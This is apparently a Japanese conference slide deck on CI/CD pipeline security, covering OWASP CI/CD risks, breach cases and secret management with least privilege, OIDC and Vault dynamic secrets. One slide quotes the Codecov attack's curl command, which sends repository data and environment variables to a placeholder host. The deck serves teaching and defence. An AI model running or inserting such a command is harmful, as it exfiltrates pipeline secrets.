Tweet
Tweet

Slide 1

Slide 1 text

自分のデータは 自分で守る あなたのCI/CDパイプラインをセキュアにする処方箋

Slide 2

Slide 2 text

Kazuto Kusama @jacopen Senior Solutions Engineer @HashiCorp Japan Co-Chair @CloudNative Days Organizer @PaaSJP Organizer @Platform Engineering Meetup

Slide 3

Slide 3 text

何をするにもCI/CD無しには語れない時代になりました

Slide 4

Slide 4 text

CI/CDはDevOpsやCloud Native技術の根幹 Dev Ops Configure Verify Package Plan Monitor Release Create Plan

Slide 5

Slide 5 text

9/10 Web アプリケーション への侵害のうち、クレ デンシャルに起因する もの 過去2年間における データ侵害の増加率 セキュリティ侵害のう ち、人的要素が関与し ているもの 380% 82% セキュリティ侵害に関するデータ

Slide 6

Slide 6 text

CI/CDのセキュリティは難しい Dev Code Repository CI/CD

Slide 7

Slide 7 text

CI/CDのセキュリティは難しい Dev Code Repository CI/CD クライアントサイドへの攻撃 サプライチェーンへの攻撃 ツールへの攻撃 サーバーサイドへの攻撃 対処しなければならない場所が多い

Slide 8

Slide 8 text

CI/CDのセキュリティは難しい Dev Code Repository CI/CD クライアントサイドへの攻撃 サプライチェーンへの攻撃 ツールへの攻撃 サーバーサイドへの攻撃 CI/CDツールは 本番環境にアクセスしやすい

Slide 9

Slide 9 text

外部サービスからの流出

Slide 10

Slide 10 text

CI/CDのセキュリティは難しい Dev Code Repository CI/CD ツールへの攻撃 本番環境が直接危機にさらされる ここをやられたので

Slide 11

Slide 11 text

責任の主体 やらかしたのがSaaS側であっても、 エンドユーザーに発生した被害の責任は自分でとらなくてはいけません。

Slide 12

Slide 12 text

こういうときに絶対にやってはいけない対処

Slide 13

Slide 13 text

問題のある対処 利用している○○のSaaSでセキュリティインシデントがおきました ⇒ なので、そのSaaSはやめて別のSaaSに切り替えました！

Slide 14

Slide 14 text

問題のある対処 利用している○○のSaaSでセキュリティインシデントがおきました ⇒ なので、そのSaaSはやめて別のSaaSに切り替えました！ 何も解決していない！

Slide 15

Slide 15 text

問題の本質はどこにあるか ● SaaSでセキュリティインシデントが起きたことは事実として･･･ ○ 何故シークレットが漏れて問題になったか ■ シークレットを持たせる必要はあったか ■ 漏れても影響の少ないシークレットに出来なかったか ■ 漏れても問題がないように出来なかったか ○ 漏れないような管理は本当に不可能だったのか

Slide 16

Slide 16 text

問題の本質はどこにあるか ● SaaSでセキュリティインシデントが起きたことは事実として･･･ ○ 何故シークレットが漏れて問題になったか ■ シークレットを持たせる必要はあったか ■ 漏れても影響の少ないシークレットに出来なかったか ■ 漏れても問題がないように出来なかったか ○ 漏れないような管理は本当に不可能だったのか このあたりの深掘りが出来ていないと、結局乗り換え先でまたインシ デントが起きたときに同じことを繰り返す

Slide 17

Slide 17 text

既存のフレームワークを活用して対策していく

Slide 18

Slide 18 text

サイバー攻撃の構図 (Mitre ATT&CK Framework) MITRE ATT&CKで始める脅威ベースのセキュリティ対策入門（ 1） https://atmarkit.itmedia.co.jp/ait/articles/2207/21/news003.html

Slide 19

Slide 19 text

… より強いレベ ルの権限を取 得 Privilege Escalation Credential Access … アカウントの ユーザ名やパス ワードを盗難 Lateral Movement … 自社の環境内 で横断的な活動 … データを盗難 Exfiltration Initial Access アタッカーが自 社のネットワー クにアクセス サイバー攻撃の構図　(Mitre ATT&CK Framework)

Slide 20

Slide 20 text

OWASP Top 10 CI/CD Security Risks https://owasp.org/www-project-top-10-ci-cd-security-risks/

Slide 21

Slide 21 text

今回は、シークレットの管理を中心に話します

Slide 22

Slide 22 text

… より強いレベ ルの権限を取 得 Privilege Escalation Credential Access … アカウントの ユーザ名やパス ワードを盗難 Lateral Movement … 自社の環境内 で横断的な活動 … データを盗難 Exfiltration Initial Access アタッカーが自 社のネットワー クにアクセス サイバー攻撃の構図　(Mitre ATT&CK Framework)

Slide 23

Slide 23 text

次の時間帯のセッションも併せて見てみるといいかも

Slide 24

Slide 24 text

全体方針 大原則: セキュリティリスクを許容範囲なレベルまで減らす 大方針: 全てのシークレットを正しく管理下に置く 正しい管理とは: - 保存場所の管理 - 権限の管理 - 期間の管理 - ログの管理

Slide 25

Slide 25 text

CIとCDの流れ Dev Code Repository CI CD 開発環境 ステージング 本番

Slide 26

Slide 26 text

CIとCDの流れ Dev Code Repository CI CD 開発環境 ステージング 本番 最終的にはここの 権限を奪うのが目標

Slide 27

Slide 27 text

パイプラインごとにいろんな権限が必要にな るから、広めの権限を与えておこう

Slide 28

Slide 28 text

CICD-SEC-2 不十分な ID およびアクセス管理 過度に寛容な ID Dev Code Repository CI CD 開発環境 ステージング 本番 なんでも出来るID クラウド上でやりたい 放題

Slide 29

Slide 29 text

CICD-SEC-2 不十分な ID およびアクセス管理 過度に寛容な ID 対策: 最小権限の原則 Dev Code Repository CI CD 開発環境 ステージング 本番 Deliveryに必要な最小 権限のみを付与する。 違うパイプラインには 違う権限を付与する

Slide 30

Slide 30 text

シークレットをリポジトリに入れるのは良く ないけど、プライベートだからセーフでしょ

Slide 31

Slide 31 text

CICD-SEC-6 不十分な認証情報衛生 認証情報を含むコードが SCM リポジトリのブランチの一つに プッシュされている Dev Code Repository CI CD 開発環境 ステージング 本番

Slide 32

Slide 32 text

Dev Code Repository CI CD 開発環境 ステージング 本番 誤ってパブリックリポ ジトリにfork 悪意のある内部の人間 がリポジトリを閲覧 (検出が困難) サプライチェーン攻撃 でリポジトリ内の シークレットを取得

Slide 33

Slide 33 text

実際の攻撃事例 Uber(2016): GitHubのPrivate Repositoryに保存していたAWSキーを悪用され、 S3に不正アクセスされたことにより数百万の顧客情報が流出 Samsung(2019): 自前で運用していたGitLabのリポジトリが、設定漏れによりパ ブリックに公開され、その中のAWSキーが流出。ログや分析データの入った100 以上のS3 Bucketにアクセス可能に その他多数の事例あり

Slide 34

Slide 34 text

Kubernetesの場合特に注意 gitops 安易なGitOpsの実現のため、SecretをManifest Repositoryに入れてしまう apiVersion: v1 kind: Secret metadata: name: creds data: password: cEBzc3cwcmQ= username: YWRtaW4= ただのbase64 エンコードなので、 平文と同じ

Slide 35

Slide 35 text

CICD-SEC-6 不十分な認証情報衛生 認証情報を含むコードが SCM リポジトリのブランチの一つに プッシュされている 対策: リポジトリに入れない。 シークレットマネージャの活用 Dev Code Repository CI CD 開発環境 ステージング 本番 安全に管理されたSecret manager上に集中管理

Slide 36

Slide 36 text

とりあえず使いやすい場所に シークレットを入れておこう

Slide 37

Slide 37 text

CICD-SEC-7 安全でないシステム構成 システム構成が安全でないシステム Dev Code Repository CI CD 開発環境 ステージング 本番

Slide 38

Slide 38 text

CICD-SEC-7 安全でないシステム構成 システム構成が安全でないシステム Dev Code Repository CI CD 開発環境 ステージング 本番 様々な場所にキーが散ら ばって管理されている Secret Sprawl デフォルト設定のまま シークレットストアに 管理されている

Slide 39

Slide 39 text

その置き場所、安全ですか？ 置き場所が散らばることによるリスク ● 散らばったシークレットを管理していくことは困難 ● 有効期限の長いシークレットが放置されてしまう ● アクセス制御やロギングが備わっていない場所も多い ○ 有効期限が無限に設定されているクラウドのシークレットが、アクセス制御やログ が取られていない環境から盗まれたとしたら、どうやって気づく？ シークレットストアをデフォルト設定で使うリスク ● デフォルト設定では細かなアクセス制御がなされてないことが多い ● ブランチや環境が異なっても同じシークレットにアクセスが出来てしまう

Slide 40

Slide 40 text

CICD-SEC-7 安全でないシステム構成 システム構成が安全でないシステム 対策: 適切な構成 Dev Code Repository CI CD 開発環境 ステージング 本番 適切なチームと ロールの設定 GitHub Actions Secretsの利用 Deployment Environments の活用

Slide 41

Slide 41 text

CICD-SEC-7 安全でないシステム構成 システム構成が安全でないシステム 対策: シークレットマネージャの活用 Dev Code Repository CI CD 開発環境 ステージング 本番 安全に管理されたSecret manager上に集中管理

Slide 42

Slide 42 text

CIのパイプラインでそのままCDもしちゃおう

Slide 43

Slide 43 text

CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 Dev Code Repository CI CD 開発環境 ステージング 本番 CIもCDも、全部 同じパイプラインで やっている

Slide 44

Slide 44 text

CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 Dev Code Repository CI CD 開発環境 ステージング 本番 悪意のある ForkからのPR 不十分なアクセス 制御による改変 サプライチェーン への攻撃

Slide 45

Slide 45 text

実際の攻撃事例 Codecov(2021): カバレッジ計測のためのツールに、以下のようなコードが追加 される curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” https://IPADDRESS/upload/v2 || true Gitのリポジトリと環境変数が送信されるようになっていた => 環境変数内にシークレットが含まれていた場合は漏洩してしまう。 セルフホストのCIツールやRunnerを使っていても同様に影響を受けてしまう

Slide 46

Slide 46 text

CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 対策: Dev Code Repository CI CD 開発環境 ステージング 本番 適切なアクセス制御 適切なレビュー 実行環境の隔離 SBOM

Slide 47

Slide 47 text

CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 対策: CIとCDの環境を分離 Dev Code Repository CI CD 開発環境 ステージング 本番 CDは本番環境に直接の 権限を持っているた め、分離しておく CIで必要な権限だけを 持たせる

Slide 48

Slide 48 text

たとえば CI CD

Slide 49

Slide 49 text

CI/CDで使うクラウドのキーは、一度作成した らあとはシークレットストアに置いておくだけ

Slide 50

Slide 50 text

CICD-SEC-6 不十分な認証情報衛生 ローテーションされない認証情報 Dev Code Repository CI CD 開発環境 ステージング 本番 2年前 1年前 2年前 3年前 1年前 『壊れていない限りは手を入れなく て良い』の考えのもと、同じシーク レットを使い続けてしまう 結果として有効なキーを所持する人 ・システムが増え続け、漏洩の危険 性が飛躍的に高まっていく。

Slide 51

Slide 51 text

外部サービスからの流出 ローテーションされていないシークレット は、大規模な流出事故で漏れ出す可能性があ るほか、知らないうちに知らない場所から漏 れる可能性もある。 事故が発覚した場合、多大な時間を割いて シークレットの棚卸しとローテーションを行 う必要がある。 例えばこういう漏洩事故が起きたとしても、 そのキーが数分間しか有効ではない場合は、 リスクを大きく低減することができる。

Slide 52

Slide 52 text

CICD-SEC-6 不十分な認証情報衛生 ローテーションされない認証情報 対策: キーレスの活用 Dev Code Repository CI CD 開発環境 ステージング 本番 クラウド側とOIDCで 信頼関係を確立し、 静的なキー無しでも デプロイできるようにする

Slide 53

Slide 53 text

CICD-SEC-6 不十分な認証情報衛生 ローテーションされない認証情報 対策: 動的シークレットの実践 Dev Code Repository CI CD 開発環境 ステージング 本番 必要な時に、必要なキーを ジャストインタイムで発行 させる。 不要になったら、明示的 or 自動的に削除する

Slide 54

Slide 54 text

動的シークレット シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的 なシークレットを発行し、クライアントに返す。 ①キーをリクエスト AWSのIAMキーが 欲しい CIに使うのでMySQL のUser/Passが欲しい

Slide 55

Slide 55 text

動的シークレット シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的 なシークレットを発行し、クライアントに返す。 ②対象に対してユーザーや キーを発行

Slide 56

Slide 56 text

動的シークレット シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的 なシークレットを発行し、クライアントに返す。 ③クライアントにキーを渡す

Slide 57

Slide 57 text

動的シークレット クライアントがRevokeを指示した場合、Vaultはそのシークレットを消す revoke 使い終わったから もう要らない 対象のキーを削除

Slide 58

Slide 58 text

動的シークレット 作成したシークレットには必ず生存期間(TTL)が設定されており、期限が切れたら 自動的にVaultが消してくれる。なので、明示的に消しに行かなくても安全性が保 たれる 対象のキーを削除 TTLを超える

Slide 59

Slide 59 text

シークレットエンジン AWS Secret Engine / Azure Secret Engine / Google Cloud Secret Engine 各クラウドプロバイダーのアクセスキーを動的に作成できる仕組み。AWSなら IAMキー、Google CloudならService Accountなど Database Secret Engine さまざまなデータベースのユーザー/パスワードを動的に作成出来る。 MySQL,PostgreSQL,Oracle,SQL Server, MongoDB, Cassandra, Elasticsearch, Redisなどなど SSH Secret Engine OTP認証やSSH証明書認証を利用してSSHの認証を動的に行う Vault Plugin for Gitlab Project Access Token (community) Vault Plugin Secrets GitHub (community) GitHubやGitLabのTokenを動的に作成する

Slide 60

Slide 60 text

まとめ ● CI/CDのセキュリティは非常に難しい。しかし最善を尽くさないといけ ない ● やらかしたのが自分でなくても、エンドユーザーに発生した被害の責任 は自分でとらないといけない ● CI/CD潜むさまざまなリスクを洗い出し、許容可能なレベルに下げてい く取り組みが必要 ● CI/CDにおけるシークレット管理はそのうちの一つ ● 保存場所、権限、期間、ログなどを適切に管理し、リスクを下げていくこと が重要